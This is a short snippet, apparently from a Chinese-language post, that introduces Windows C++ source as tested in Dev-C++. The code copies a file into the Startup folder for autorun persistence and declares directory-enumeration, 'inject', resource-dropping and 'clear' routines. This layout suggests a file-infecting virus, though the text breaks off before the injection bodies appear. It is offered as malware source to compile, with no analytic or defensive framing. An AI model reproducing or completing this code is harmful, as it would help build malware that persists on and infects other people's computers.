首先你需要一个dev-c++,实测可用
#include <tchar.h>
#include <iterator>
#include <list>
using namespace std;
#include<graphics.h>
IMAGE img;
#include<conio.h>
#include <stdio.h>
#include <Shlobj.h>
#pragma comment(lib, "shell32.lib")
#define RC_BINARYTYPE 256
#define ID_ICO 100
#include <windows.h>
BOOL AutoRun_Startup(const char *lpszSrcFilePath,const char *lpszDestFileName)
{
char szStartupPath[MAX_PATH] = { 0 };
char szDestFilePath[MAX_PATH] = { 0 };
SHGetSpecialFolderPath(NULL, szStartupPath, CSIDL_STARTUP, TRUE);
wsprintf(szDestFilePath, "%s\\%s", szStartupPath, lpszDestFileName);
CopyFile(lpszSrcFilePath, szDestFilePath, FALSE);
return TRUE;
}
bool EnumDirectory(TCHAR *dirpath,bool isInject);
void inject(char *path);
bool WriteResourceToFile(char const *filename);
void clear(char *path);
bool FileExist(char *filepath);
int set_error()
{
SetErrorMode